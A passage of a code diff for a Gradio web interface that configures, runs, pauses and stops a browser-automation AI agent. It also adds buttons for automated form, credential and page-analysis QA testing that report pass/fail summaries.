+    llm_api_key = get_setting("llm_api_key") or None
+    max_steps = get_setting("max_steps", 100)
+    max_actions = get_setting("max_actions", 10)
+    max_input_tokens = get_setting("max_input_tokens", 128000)
+    tool_calling_str = get_setting("tool_calling_method", "auto")
+    tool_calling_method = tool_calling_str if tool_calling_str != "None" else None
+    mcp_server_config_comp = webui_manager.id_to_component.get(
+        "agent_settings.mcp_server_config"
+    )
+    mcp_server_config_str = (
+        components.get(mcp_server_config_comp) if mcp_server_config_comp else None
+    )
+    mcp_server_config = (
+        json.loads(mcp_server_config_str) if mcp_server_config_str else None
+    )
+
+    # Planner LLM Settings (Optional)
+    planner_llm_provider_name = get_setting("planner_llm_provider") or None
+    planner_llm = None
+    planner_use_vision = False
+    if planner_llm_provider_name:
+        planner_llm_model_name = get_setting("planner_llm_model_name")
+        planner_llm_temperature = get_setting("planner_llm_temperature", 0.6)
+        planner_ollama_num_ctx = get_setting("planner_ollama_num_ctx", 16000)
+        planner_llm_base_url = get_setting("planner_llm_base_url") or None
+        planner_llm_api_key = get_setting("planner_llm_api_key") or None
+        planner_use_vision = get_setting("planner_use_vision", False)
+
+        planner_llm = await _initialize_llm(
+            planner_llm_provider_name,
+            planner_llm_model_name,
+            planner_llm_temperature,
+            planner_llm_base_url,
+            planner_llm_api_key,
+            planner_ollama_num_ctx if planner_llm_provider_name == "ollama" else None,
+        )
+
+    # --- Browser Settings ---
+    def get_browser_setting(key, default=None):
+        comp = webui_manager.id_to_component.get(f"browser_settings.{key}")
+        return components.get(comp, default) if comp else default
+
+    browser_binary_path = get_browser_setting("browser_binary_path") or None
+    browser_user_data_dir = get_browser_setting("browser_user_data_dir") or None
+    use_own_browser = get_browser_setting(
+        "use_own_browser", False
+    )  # Logic handled by CDP/WSS presence
+    keep_browser_open = get_browser_setting("keep_browser_open", False)
+    headless = get_browser_setting("headless", False)
+    disable_security = get_browser_setting("disable_security", False)
+    window_w = int(get_browser_setting("window_w", 1280))
+    window_h = int(get_browser_setting("window_h", 1100))
+    cdp_url = get_browser_setting("cdp_url") or None
+    wss_url = get_browser_setting("wss_url") or None
+    save_recording_path = get_browser_setting("save_recording_path") or None
+    save_trace_path = get_browser_setting("save_trace_path") or None
+    save_agent_history_path = get_browser_setting(
+        "save_agent_history_path", "./tmp/agent_history"
+    )
+    save_download_path = get_browser_setting("save_download_path", "./tmp/downloads")
+
+    stream_vw = 70
+    stream_vh = int(70 * window_h // window_w)
+
+    os.makedirs(save_agent_history_path, exist_ok=True)
+    if save_recording_path:
+        os.makedirs(save_recording_path, exist_ok=True)
+    if save_trace_path:
+        os.makedirs(save_trace_path, exist_ok=True)
+    if save_download_path:
+        os.makedirs(save_download_path, exist_ok=True)
+
+    # --- 2. Initialize LLM ---
+    main_llm = await _initialize_llm(
+        llm_provider_name,
+        llm_model_name,
+        llm_temperature,
+        llm_base_url,
+        llm_api_key,
+        ollama_num_ctx if llm_provider_name == "ollama" else None,
+    )
+
+    # Pass the webui_manager instance to the callback when wrapping it
+    async def ask_callback_wrapper(
+            query: str, browser_context: BrowserContext
+    ) -> Dict[str, Any]:
+        return await _ask_assistant_callback(webui_manager, query, browser_context)
+
+    if not webui_manager.bu_controller:
+        webui_manager.bu_controller = CustomController(
+            ask_assistant_callback=ask_callback_wrapper
+        )
+        await webui_manager.bu_controller.setup_mcp_client(mcp_server_config)
+
+    # --- 4. Initialize Browser and Context ---
+    should_close_browser_on_finish = not keep_browser_open
+
+    try:
+        # Close existing resources if not keeping open
+        if not keep_browser_open:
+            if webui_manager.bu_browser_context:
+                logger.info("Closing previous browser context.")
+                await webui_manager.bu_browser_context.close()
+                webui_manager.bu_browser_context = None
+            if webui_manager.bu_browser:
+                logger.info("Closing previous browser.")
+                await webui_manager.bu_browser.close()
+                webui_manager.bu_browser = None
+
+        # Create Browser if needed
+        if not webui_manager.bu_browser:
+            logger.info("Launching new browser instance.")
+            extra_args = []
+            if use_own_browser:
+                browser_binary_path = os.getenv("BROWSER_PATH", None) or browser_binary_path
+                if browser_binary_path == "":
+                    browser_binary_path = None
+                browser_user_data = browser_user_data_dir or os.getenv("BROWSER_USER_DATA", None)
+                if browser_user_data:
+                    extra_args += [f"--user-data-dir={browser_user_data}"]
+            else:
+                browser_binary_path = None
+
+            webui_manager.bu_browser = CustomBrowser(
+                config=BrowserConfig(
+                    headless=headless,
+                    disable_security=disable_security,
+                    browser_binary_path=browser_binary_path,
+                    extra_browser_args=extra_args,
+                    wss_url=wss_url,
+                    cdp_url=cdp_url,
+                    new_context_config=BrowserContextConfig(
+                        window_width=window_w,
+                        window_height=window_h,
+                    )
+                )
+            )
+
+        # Create Context if needed
+        if not webui_manager.bu_browser_context:
+            logger.info("Creating new browser context.")
+            context_config = BrowserContextConfig(
+                trace_path=save_trace_path if save_trace_path else None,
+                save_recording_path=save_recording_path
+                if save_recording_path
+                else None,
+                save_downloads_path=save_download_path if save_download_path else None,
+                window_height=window_h,
+                window_width=window_w,
+            )
+            if not webui_manager.bu_browser:
+                raise ValueError("Browser not initialized, cannot create context.")
+            webui_manager.bu_browser_context = (
+                await webui_manager.bu_browser.new_context(config=context_config)
+            )
+
+        # --- 5. Initialize or Update Agent ---
+        webui_manager.bu_agent_task_id = str(uuid.uuid4())  # New ID for this task run
+        os.makedirs(
+            os.path.join(save_agent_history_path, webui_manager.bu_agent_task_id),
+            exist_ok=True,
+        )
+        history_file = os.path.join(
+            save_agent_history_path,
+            webui_manager.bu_agent_task_id,
+            f"{webui_manager.bu_agent_task_id}.json",
+        )
+        gif_path = os.path.join(
+            save_agent_history_path,
+            webui_manager.bu_agent_task_id,
+            f"{webui_manager.bu_agent_task_id}.gif",
+        )
+
+        # Pass the webui_manager to callbacks when wrapping them
+        async def step_callback_wrapper(
+                state: BrowserState, output: AgentOutput, step_num: int
+        ):
+            await _handle_new_step(webui_manager, state, output, step_num)
+
+        def done_callback_wrapper(history: AgentHistoryList):
+            _handle_done(webui_manager, history)
+
+        if not webui_manager.bu_agent:
+            logger.info(f"Initializing new agent for task: {task}")
+            if not webui_manager.bu_browser or not webui_manager.bu_browser_context:
+                raise ValueError(
+                    "Browser or Context not initialized, cannot create agent."
+                )
+            webui_manager.bu_agent = BrowserUseAgent(
+                task=task,
+                llm=main_llm,
+                browser=webui_manager.bu_browser,
+                browser_context=webui_manager.bu_browser_context,
+                controller=webui_manager.bu_controller,
+                register_new_step_callback=step_callback_wrapper,
+                register_done_callback=done_callback_wrapper,
+                use_vision=use_vision,
+                override_system_message=override_system_prompt,
+                extend_system_message=extend_system_prompt,
+                max_input_tokens=max_input_tokens,
+                max_actions_per_step=max_actions,
+                tool_calling_method=tool_calling_method,
+                planner_llm=planner_llm,
+                use_vision_for_planner=planner_use_vision if planner_llm else False,
+                source="webui",
+            )
+            webui_manager.bu_agent.state.agent_id = webui_manager.bu_agent_task_id
+            webui_manager.bu_agent.settings.generate_gif = gif_path
+        else:
+            webui_manager.bu_agent.state.agent_id = webui_manager.bu_agent_task_id
+            webui_manager.bu_agent.add_new_task(task)
+            webui_manager.bu_agent.settings.generate_gif = gif_path
+            webui_manager.bu_agent.browser = webui_manager.bu_browser
+            webui_manager.bu_agent.browser_context = webui_manager.bu_browser_context
+            webui_manager.bu_agent.controller = webui_manager.bu_controller
+
+        # --- 6. Run Agent Task and Stream Updates ---
+        agent_run_coro = webui_manager.bu_agent.run(max_steps=max_steps)
+        agent_task = asyncio.create_task(agent_run_coro)
+        webui_manager.bu_current_task = agent_task  # Store the task
+
+        last_chat_len = len(webui_manager.bu_chat_history)
+        while not agent_task.done():
+            is_paused = webui_manager.bu_agent.state.paused
+            is_stopped = webui_manager.bu_agent.state.stopped
+
+            # Check for pause state
+            if is_paused:
+                yield {
+                    pause_resume_button_comp: gr.update(
+                        value="▶️ Resume", interactive=True
+                    ),
+                    stop_button_comp: gr.update(interactive=True),
+                }
+                # Wait until pause is released or task is stopped/done
+                while is_paused and not agent_task.done():
+                    # Re-check agent state in loop
+                    is_paused = webui_manager.bu_agent.state.paused
+                    is_stopped = webui_manager.bu_agent.state.stopped
+                    if is_stopped:  # Stop signal received while paused
+                        break
+                    await asyncio.sleep(0.2)
+
+                if (
+                        agent_task.done() or is_stopped
+                ):  # If stopped or task finished while paused
+                    break
+
+                # If resumed, yield UI update
+                yield {
+                    pause_resume_button_comp: gr.update(
+                        value="⏸️ Pause", interactive=True
+                    ),
+                    run_button_comp: gr.update(
+                        value="⏳ Running...", interactive=False
+                    ),
+                }
+
+            # Check if agent stopped itself or stop button was pressed (which sets agent.state.stopped)
+            if is_stopped:
+                logger.info("Agent has stopped (internally or via stop button).")
+                if not agent_task.done():
+                    # Ensure the task coroutine finishes if agent just set flag
+                    try:
+                        await asyncio.wait_for(
+                            agent_task, timeout=1.0
+                        )  # Give it a moment to exit run()
+                    except asyncio.TimeoutError:
+                        logger.warning(
+                            "Agent task did not finish quickly after stop signal, cancelling."
+                        )
+                        agent_task.cancel()
+                    except Exception:  # Catch task exceptions if it errors on stop
+                        pass
+                break  # Exit the streaming loop
+
+            # Check if agent is asking for help (via response_event)
+            update_dict = {}
+            if webui_manager.bu_response_event is not None:
+                update_dict = {
+                    user_input_comp: gr.update(
+                        placeholder="Agent needs help. Enter response and submit.",
+                        interactive=True,
+                    ),
+                    run_button_comp: gr.update(
+                        value="✔️ Submit Response", interactive=True
+                    ),
+                    pause_resume_button_comp: gr.update(interactive=False),
+                    stop_button_comp: gr.update(interactive=False),
+                    chatbot_comp: gr.update(value=webui_manager.bu_chat_history),
+                }
+                last_chat_len = len(webui_manager.bu_chat_history)
+                yield update_dict
+                # Wait until response is submitted or task finishes
+                await webui_manager.bu_response_event.wait()
+
+                # Restore UI after response submitted or if task ended unexpectedly
+                if not agent_task.done():
+                    yield {
+                        user_input_comp: gr.update(
+                            placeholder="Agent is running...", interactive=False
+                        ),
+                        run_button_comp: gr.update(
+                            value="⏳ Running...", interactive=False
+                        ),
+                        pause_resume_button_comp: gr.update(interactive=True),
+                        stop_button_comp: gr.update(interactive=True),
+                    }
+                else:
+                    break  # Task finished while waiting for response
+
+            # Update Chatbot if new messages arrived via callbacks
+            if len(webui_manager.bu_chat_history) > last_chat_len:
+                update_dict[chatbot_comp] = gr.update(
+                    value=webui_manager.bu_chat_history
+                )
+                last_chat_len = len(webui_manager.bu_chat_history)
+
+            # Update Browser View
+            if headless and webui_manager.bu_browser_context:
+                try:
+                    screenshot_b64 = (
+                        await webui_manager.bu_browser_context.take_screenshot()
+                    )
+                    if screenshot_b64:
+                        html_content = f'<img src="data:image/jpeg;base64,{screenshot_b64}" style="width:{stream_vw}vw; height:{stream_vh}vh ; border:1px solid #ccc;">'
+                        update_dict[browser_view_comp] = gr.update(
+                            value=html_content, visible=True
+                        )
+                    else:
+                        html_content = f"<h1 style='width:{stream_vw}vw; height:{stream_vh}vh'>Waiting for browser session...</h1>"
+                        update_dict[browser_view_comp] = gr.update(
+                            value=html_content, visible=True
+                        )
+                except Exception as e:
+                    logger.debug(f"Failed to capture screenshot: {e}")
+                    update_dict[browser_view_comp] = gr.update(
+                        value="<div style='...'>Error loading view...</div>",
+                        visible=True,
+                    )
+            else:
+                update_dict[browser_view_comp] = gr.update(visible=False)
+
+            # Yield accumulated updates
+            if update_dict:
+                yield update_dict
+
+            await asyncio.sleep(0.1)  # Polling interval
+
+        # --- 7. Task Finalization ---
+        webui_manager.bu_agent.state.paused = False
+        webui_manager.bu_agent.state.stopped = False
+        final_update = {}
+        try:
+            logger.info("Agent task completing...")
+            # Await the task ensure completion and catch exceptions if not already caught
+            if not agent_task.done():
+                await agent_task  # Retrieve result/exception
+            elif agent_task.exception():  # Check if task finished with exception
+                agent_task.result()  # Raise the exception to be caught below
+            logger.info("Agent task completed processing.")
+
+            logger.info(f"Explicitly saving agent history to: {history_file}")
+            webui_manager.bu_agent.save_history(history_file)
+
+            if os.path.exists(history_file):
+                final_update[history_file_comp] = gr.File(value=history_file)
+
+            if gif_path and os.path.exists(gif_path):
+                logger.info(f"GIF found at: {gif_path}")
+                final_update[gif_comp] = gr.Image(value=gif_path)
+
+        except asyncio.CancelledError:
+            logger.info("Agent task was cancelled.")
+            if not any(
+                    "Cancelled" in msg.get("content", "")
+                    for msg in webui_manager.bu_chat_history
+                    if msg.get("role") == "assistant"
+            ):
+                webui_manager.bu_chat_history.append(
+                    {"role": "assistant", "content": "**Task Cancelled**."}
+                )
+            final_update[chatbot_comp] = gr.update(value=webui_manager.bu_chat_history)
+        except Exception as e:
+            logger.error(f"Error during agent execution: {e}", exc_info=True)
+            error_message = (
+                f"**Agent Execution Error:**\n```\n{type(e).__name__}: {e}\n```"
+            )
+            if not any(
+                    error_message in msg.get("content", "")
+                    for msg in webui_manager.bu_chat_history
+                    if msg.get("role") == "assistant"
+            ):
+                webui_manager.bu_chat_history.append(
+                    {"role": "assistant", "content": error_message}
+                )
+            final_update[chatbot_comp] = gr.update(value=webui_manager.bu_chat_history)
+            gr.Error(f"Agent execution failed: {e}")
+
+        finally:
+            webui_manager.bu_current_task = None  # Clear the task reference
+
+            # Close browser/context if requested
+            if should_close_browser_on_finish:
+                if webui_manager.bu_browser_context:
+                    logger.info("Closing browser context after task.")
+                    await webui_manager.bu_browser_context.close()
+                    webui_manager.bu_browser_context = None
+                if webui_manager.bu_browser:
+                    logger.info("Closing browser after task.")
+                    await webui_manager.bu_browser.close()
+                    webui_manager.bu_browser = None
+
+            # --- 8. Final UI Update ---
+            final_update.update(
+                {
+                    user_input_comp: gr.update(
+                        value="",
+                        interactive=True,
+                        placeholder="Enter your next task...",
+                    ),
+                    run_button_comp: gr.update(value="▶️ Submit Task", interactive=True),
+                    stop_button_comp: gr.update(value="⏹️ Stop", interactive=False),
+                    pause_resume_button_comp: gr.update(
+                        value="⏸️ Pause", interactive=False
+                    ),
+                    clear_button_comp: gr.update(interactive=True),
+                    # Ensure final chat history is shown
+                    chatbot_comp: gr.update(value=webui_manager.bu_chat_history),
+                }
+            )
+            yield final_update
+
+    except Exception as e:
+        # Catch errors during setup (before agent run starts)
+        logger.error(f"Error setting up agent task: {e}", exc_info=True)
+        webui_manager.bu_current_task = None  # Ensure state is reset
+        yield {
+            user_input_comp: gr.update(
+                interactive=True, placeholder="Error during setup. Enter task..."
+            ),
+            run_button_comp: gr.update(value="▶️ Submit Task", interactive=True),
+            stop_button_comp: gr.update(value="⏹️ Stop", interactive=False),
+            pause_resume_button_comp: gr.update(value="⏸️ Pause", interactive=False),
+            clear_button_comp: gr.update(interactive=True),
+            chatbot_comp: gr.update(
+                value=webui_manager.bu_chat_history
+                      + [{"role": "assistant", "content": f"**Setup Error:** {e}"}]
+            ),
+        }
+
+
+# --- Button Click Handlers --- (Need access to webui_manager)
+
+
+async def handle_submit(
+        webui_manager: WebuiManager, components: Dict[gr.components.Component, Any]
+):
+    """Handles clicks on the main 'Submit' button."""
+    user_input_comp = webui_manager.get_component_by_id("browser_use_agent.user_input")
+    user_input_value = components.get(user_input_comp, "").strip()
+
+    # Check if waiting for user assistance
+    if webui_manager.bu_response_event and not webui_manager.bu_response_event.is_set():
+        logger.info(f"User submitted assistance: {user_input_value}")
+        webui_manager.bu_user_help_response = (
+            user_input_value if user_input_value else "User provided no text response."
+        )
+        webui_manager.bu_response_event.set()
+        # UI updates handled by the main loop reacting to the event being set
+        yield {
+            user_input_comp: gr.update(
+                value="",
+                interactive=False,
+                placeholder="Waiting for agent to continue...",
+            ),
+            webui_manager.get_component_by_id(
+                "browser_use_agent.run_button"
+            ): gr.update(value="⏳ Running...", interactive=False),
+        }
+    # Check if a task is currently running (using _current_task)
+    elif webui_manager.bu_current_task and not webui_manager.bu_current_task.done():
+        logger.warning(
+            "Submit button clicked while agent is already running and not asking for help."
+        )
+        gr.Info("Agent is currently running. Please wait or use Stop/Pause.")
+        yield {}  # No change
+    else:
+        # Handle submission for a new task
+        logger.info("Submit button clicked for new task.")
+        # Use async generator to stream updates from run_agent_task
+        async for update in run_agent_task(webui_manager, components):
+            yield update
+
+
+async def handle_stop(webui_manager: WebuiManager):
+    """Handles clicks on the 'Stop' button."""
+    logger.info("Stop button clicked.")
+    agent = webui_manager.bu_agent
+    task = webui_manager.bu_current_task
+
+    if agent and task and not task.done():
+        # Signal the agent to stop by setting its internal flag
+        agent.state.stopped = True
+        agent.state.paused = False  # Ensure not paused if stopped
+        return {
+            webui_manager.get_component_by_id(
+                "browser_use_agent.stop_button"
+            ): gr.update(interactive=False, value="⏹️ Stopping..."),
+            webui_manager.get_component_by_id(
+                "browser_use_agent.pause_resume_button"
+            ): gr.update(interactive=False),
+            webui_manager.get_component_by_id(
+                "browser_use_agent.run_button"
+            ): gr.update(interactive=False),
+        }
+    else:
+        logger.warning("Stop clicked but agent is not running or task is already done.")
+        # Reset UI just in case it's stuck
+        return {
+            webui_manager.get_component_by_id(
+                "browser_use_agent.run_button"
+            ): gr.update(interactive=True),
+            webui_manager.get_component_by_id(
+                "browser_use_agent.stop_button"
+            ): gr.update(interactive=False),
+            webui_manager.get_component_by_id(
+                "browser_use_agent.pause_resume_button"
+            ): gr.update(interactive=False),
+            webui_manager.get_component_by_id(
+                "browser_use_agent.clear_button"
+            ): gr.update(interactive=True),
+        }
+
+
+async def handle_pause_resume(webui_manager: WebuiManager):
+    """Handles clicks on the 'Pause/Resume' button."""
+    agent = webui_manager.bu_agent
+    task = webui_manager.bu_current_task
+
+    if agent and task and not task.done():
+        if agent.state.paused:
+            logger.info("Resume button clicked.")
+            agent.resume()
+            # UI update happens in main loop
+            return {
+                webui_manager.get_component_by_id(
+                    "browser_use_agent.pause_resume_button"
+                ): gr.update(value="⏸️ Pause", interactive=True)
+            }  # Optimistic update
+        else:
+            logger.info("Pause button clicked.")
+            agent.pause()
+            return {
+                webui_manager.get_component_by_id(
+                    "browser_use_agent.pause_resume_button"
+                ): gr.update(value="▶️ Resume", interactive=True)
+            }  # Optimistic update
+    else:
+        logger.warning(
+            "Pause/Resume clicked but agent is not running or doesn't support state."
+        )
+        return {}  # No change
+
+
+async def handle_clear(webui_manager: WebuiManager):
+    """Handles clicks on the 'Clear' button."""
+    logger.info("Clear button clicked.")
+
+    # Stop any running task first
+    task = webui_manager.bu_current_task
+    if task and not task.done():
+        logger.info("Clearing requires stopping the current task.")
+        webui_manager.bu_agent.stop()
+        task.cancel()
+        try:
+            await asyncio.wait_for(task, timeout=2.0)  # Wait briefly
+        except (asyncio.CancelledError, asyncio.TimeoutError):
+            pass
+        except Exception as e:
+            logger.warning(f"Error stopping task on clear: {e}")
+    webui_manager.bu_current_task = None
+
+    if webui_manager.bu_controller:
+        await webui_manager.bu_controller.close_mcp_client()
+        webui_manager.bu_controller = None
+    webui_manager.bu_agent = None
+
+    # Reset state stored in manager
+    webui_manager.bu_chat_history = []
+    webui_manager.bu_response_event = None
+    webui_manager.bu_user_help_response = None
+    webui_manager.bu_agent_task_id = None
+
+    logger.info("Agent state and browser resources cleared.")
+
+    # Reset UI components
+    return {
+        webui_manager.get_component_by_id("browser_use_agent.chatbot"): gr.update(
+            value=[]
+        ),
+        webui_manager.get_component_by_id("browser_use_agent.user_input"): gr.update(
+            value="", placeholder="Enter your task here..."
+        ),
+        webui_manager.get_component_by_id(
+            "browser_use_agent.agent_history_file"
+        ): gr.update(value=None),
+        webui_manager.get_component_by_id("browser_use_agent.recording_gif"): gr.update(
+            value=None
+        ),
+        webui_manager.get_component_by_id("browser_use_agent.browser_view"): gr.update(
+            value="<div style='...'>Browser Cleared</div>"
+        ),
+        webui_manager.get_component_by_id("browser_use_agent.run_button"): gr.update(
+            value="▶️ Submit Task", interactive=True
+        ),
+        webui_manager.get_component_by_id("browser_use_agent.stop_button"): gr.update(
+            interactive=False
+        ),
+        webui_manager.get_component_by_id(
+            "browser_use_agent.pause_resume_button"
+        ): gr.update(value="⏸️ Pause", interactive=False),
+        webui_manager.get_component_by_id("browser_use_agent.clear_button"): gr.update(
+            interactive=True
+        ),
+    }
+
+
+# --- Tab Creation Function ---
+
+
+def create_browser_use_agent_tab(webui_manager: WebuiManager):
+    """
+    Create the run agent tab, defining UI, state, and handlers.
+    """
+    webui_manager.init_browser_use_agent()
+
+    # --- Define UI Components ---
+    tab_components = {}
+    with gr.Column():
+        chatbot = gr.Chatbot(
+            lambda: webui_manager.bu_chat_history,  # Load history dynamically
+            elem_id="browser_use_chatbot",
+            label="Agent Interaction",
+            type="messages",
+            height=600,
+            show_copy_button=True,
+        )
+        user_input = gr.Textbox(
+            label="Your Task or Response",
+            placeholder="Enter your task here or provide assistance when asked.",
+            lines=3,
+            interactive=True,
+            elem_id="user_input",
+        )
+        with gr.Row():
+            stop_button = gr.Button(
+                "⏹️ Stop", interactive=False, variant="stop", scale=2
+            )
+            pause_resume_button = gr.Button(
+                "⏸️ Pause", interactive=False, variant="secondary", scale=2, visible=True
+            )
+            clear_button = gr.Button(
+                "🗑️ Clear", interactive=True, variant="secondary", scale=2
+            )
+            run_button = gr.Button("▶️ Submit Task", variant="primary", scale=3)
+        
+        # Intelligent Testing Section
+        gr.Markdown("### 🧠 Intelligent Testing Features")
+        with gr.Row():
+            intelligent_form_test_btn = gr.Button(
+                "🔍 Smart Form Testing", 
+                variant="secondary", 
+                scale=2,
+                interactive=True
+            )
+            intelligent_credential_test_btn = gr.Button(
+                "🔐 Smart Credential Testing", 
+                variant="secondary", 
+                scale=2,
+                interactive=True
+            )
+            ai_analysis_btn = gr.Button(
+                "🤔 AI Page Analysis", 
+                variant="secondary", 
+                scale=2,
+                interactive=True
+            )
+        with gr.Row():
+            comprehensive_test_btn = gr.Button(
+                "🎯 Comprehensive Intelligent Testing", 
+                variant="primary", 
+                scale=3,
+                interactive=True
+            )
+
+        browser_view = gr.HTML(
+            value="<div style='width:100%; height:50vh; display:flex; justify-content:center; align-items:center; border:1px solid #ccc; background-color:#f0f0f0;'><p>Browser View (Requires Headless=True)</p></div>",
+            label="Browser Live View",
+            elem_id="browser_view",
+            visible=False,
+        )
+        with gr.Column():
+            gr.Markdown("### Task Outputs")
+            agent_history_file = gr.File(label="Agent History JSON", interactive=False)
+            recording_gif = gr.Image(
+                label="Task Recording GIF",
+                format="gif",
+                interactive=False,
+                type="filepath",
+            )
+            
+            # Auto-generated PDF Report Section
+            gr.Markdown("### 📊 Auto-Generated PDF Report")
+            auto_pdf_report = gr.File(
+                label="📄 Testing Report (PDF)",
+                interactive=False,
+                visible=False
+            )
+            auto_report_status = gr.Textbox(
+                label="📊 Report Status",
+                value="Report will be generated automatically after testing completion",
+                interactive=False,
+                visible=True
+            )
+
+    # --- Store Components in Manager ---
+    tab_components.update(
+        dict(
+            chatbot=chatbot,
+            user_input=user_input,
+            clear_button=clear_button,
+            run_button=run_button,
+            stop_button=stop_button,
+            pause_resume_button=pause_resume_button,
+            intelligent_form_test_btn=intelligent_form_test_btn,
+            intelligent_credential_test_btn=intelligent_credential_test_btn,
+            ai_analysis_btn=ai_analysis_btn,
+            comprehensive_test_btn=comprehensive_test_btn,
+            agent_history_file=agent_history_file,
+            recording_gif=recording_gif,
+            browser_view=browser_view,
+            auto_pdf_report=auto_pdf_report,
+            auto_report_status=auto_report_status,
+        )
+    )
+    webui_manager.add_components(
+        "browser_use_agent", tab_components
+    )  # Use "browser_use_agent" as tab_name prefix
+
+    all_managed_components = set(
+        webui_manager.get_components()
+    )  # Get all components known to manager
+    run_tab_outputs = list(tab_components.values())
+
+    async def submit_wrapper(
+            components_dict: Dict[Component, Any],
+    ) -> AsyncGenerator[Dict[Component, Any], None]:
+        """Wrapper for handle_submit that yields its results."""
+        async for update in handle_submit(webui_manager, components_dict):
+            yield update
+
+    async def stop_wrapper() -> AsyncGenerator[Dict[Component, Any], None]:
+        """Wrapper for handle_stop."""
+        update_dict = await handle_stop(webui_manager)
+        yield update_dict
+
+    async def pause_resume_wrapper() -> AsyncGenerator[Dict[Component, Any], None]:
+        """Wrapper for handle_pause_resume."""
+        update_dict = await handle_pause_resume(webui_manager)
+        yield update_dict
+
+    async def clear_wrapper() -> AsyncGenerator[Dict[Component, Any], None]:
+        """Wrapper for handle_clear."""
+        update_dict = await handle_clear(webui_manager)
+        yield update_dict
+
+    # Intelligent Testing Handlers
+    async def intelligent_form_test_wrapper() -> AsyncGenerator[Dict[Component, Any], None]:
+        """Wrapper for intelligent form testing."""
+        try:
+            webui_manager.bu_chat_history.append({
+                "role": "assistant", 
+                "content": "🔍 Starting intelligent form testing... This will discover form fields and test various scenarios automatically."
+            })
+            
+            if webui_manager.bu_agent and hasattr(webui_manager.bu_agent, 'run_intelligent_form_testing'):
+                result = await webui_manager.bu_agent.run_intelligent_form_testing()
+                
+                if "error" in result:
+                    webui_manager.bu_chat_history.append({
+                        "role": "assistant", 
+                        "content": f"❌ Form testing error: {result['error']}"
+                    })
+                else:
+                    summary = result.get('summary', {})
+                    webui_manager.bu_chat_history.append({
+                        "role": "assistant", 
+                        "content": f"✅ Form testing complete!\n\n📊 Results:\n- Total Tests: {summary.get('total_tests', 0)}\n- Passed: {summary.get('passed_tests', 0)}\n- Failed: {summary.get('failed_tests', 0)}\n- Success Rate: {summary.get('success_rate', 0)}%"
+                    })
+            else:
+                webui_manager.bu_chat_history.append({
+                    "role": "assistant", 
+                    "content": "❌ Intelligent form testing not available. Please run a regular task first to initialize the agent."
+                })
+        except Exception as e:
+            webui_manager.bu_chat_history.append({
+                "role": "assistant", 
+                "content": f"❌ Error in form testing: {str(e)}"
+            })
+        
+        yield {chatbot: webui_manager.bu_chat_history}
+
+    async def intelligent_credential_test_wrapper() -> AsyncGenerator[Dict[Component, Any], None]:
+        """Wrapper for intelligent credential testing."""
+        try:
+            webui_manager.bu_chat_history.append({
+                "role": "assistant", 
+                "content": "🔐 Starting intelligent credential testing... This will test various email/password combinations and security scenarios."
+            })
+            
+            if webui_manager.bu_agent and hasattr(webui_manager.bu_agent, 'run_intelligent_credential_testing'):
+                result = await webui_manager.bu_agent.run_intelligent_credential_testing()
+                
+                if "error" in result:
+                    webui_manager.bu_chat_history.append({
+                        "role": "assistant", 
+                        "content": f"❌ Credential testing error: {result['error']}"
+                    })
+                else:
+                    summary = result.get('summary', {})
+                    webui_manager.bu_chat_history.append({
+                        "role": "assistant", 
+                        "content": f"✅ Credential testing complete!\n\n📊 Results:\n- Total Tests: {summary.get('total_tests', 0)}\n- Passed: {summary.get('passed_tests', 0)}\n- Failed: {summary.get('failed_tests', 0)}\n- Success Rate: {summary.get('success_rate', 0)}%"
+                    })
+            else:
+                webui_manager.bu_chat_history.append({
+                    "role": "assistant", 
+                    "content": "❌ Intelligent credential testing not available. Please run a regular task first to initialize the agent."
+                })
+        except Exception as e:
+            webui_manager.bu_chat_history.append({
+                "role": "assistant", 
+                "content": f"❌ Error in credential testing: {str(e)}"
+            })
+        
+        yield {chatbot: webui_manager.bu_chat_history}
+
+    async def ai_analysis_wrapper() -> AsyncGenerator[Dict[Component, Any], None]:
+        """Wrapper for AI page analysis."""
+        try:
+            webui_manager.bu_chat_history.append({
+                "role": "assistant", 
+                "content": "🤔 Starting AI page analysis... This will intelligently analyze the current page and generate testing strategies."
+            })
+            
+            if webui_manager.bu_agent and hasattr(webui_manager.bu_agent, 'run_ai_thinking_analysis'):
+                result = await webui_manager.bu_agent.run_ai_thinking_analysis()
+                
+                if "error" in result:
+                    webui_manager.bu_chat_history.append({
+                        "role": "assistant", 
+                        "content": f"❌ AI analysis error: {result['error']}"
+                    })
+                else:
+                    page_analysis = result.get('page_analysis', {})
+                    strategy = result.get('testing_strategy', {})
+                    
+                    analysis_text = f"✅ AI analysis complete!\n\n"
+                    analysis_text += f"📄 Page Type: {page_analysis.get('page_type', 'Unknown')}\n"
+                    analysis_text += f"📝 Form Complexity: {page_analysis.get('form_complexity', 'Unknown')}\n"
+                    analysis_text += f"🔒 Security Indicators: {len(page_analysis.get('security_indicators', []))}\n"
+                    analysis_text += f"⚠️ Potential Issues: {len(page_analysis.get('potential_issues', []))}\n\n"
+                    analysis_text += f"🎯 Testing Strategy:\n"
+                    analysis_text += f"- Approach: {strategy.get('approach', 'Unknown')}\n"
+                    analysis_text += f"- Focus Areas: {', '.join(strategy.get('focus_areas', []))}\n"
+                    analysis_text += f"- Estimated Duration: {strategy.get('estimated_duration', 0)} minutes\n"
+                    
+                    webui_manager.bu_chat_history.append({
+                        "role": "assistant", 
+                        "content": analysis_text
+                    })
+            else:
+                webui_manager.bu_chat_history.append({
+                    "role": "assistant", 
+                    "content": "❌ AI analysis not available. Please run a regular task first to initialize the agent."
+                })
+        except Exception as e:
+            webui_manager.bu_chat_history.append({
+                "role": "assistant", 
+                "content": f"❌ Error in AI analysis: {str(e)}"
+            })
+        
+        yield {chatbot: webui_manager.bu_chat_history}
+
+    async def comprehensive_test_wrapper() -> AsyncGenerator[Dict[Component, Any], None]:
+        """Wrapper for comprehensive intelligent testing."""
+        try:
+            webui_manager.bu_chat_history.append({
+                "role": "assistant", 
+                "content": "🎯 Starting comprehensive intelligent testing... This will run all intelligent testing features including AI analysis, form testing, and credential testing."
+            })
+            
+            if webui_manager.bu_agent and hasattr(webui_manager.bu_agent, 'run_comprehensive_intelligent_testing'):
+                result = await webui_manager.bu_agent.run_comprehensive_intelligent_testing()
+                
+                if "error" in result:
+                    webui_manager.bu_chat_history.append({
+                        "role": "assistant", 
+                        "content": f"❌ Comprehensive testing error: {result['error']}"
+                    })
+                else:
+                    summary = result.get('summary', {})
+                    webui_manager.bu_chat_history.append({
+                        "role": "assistant", 
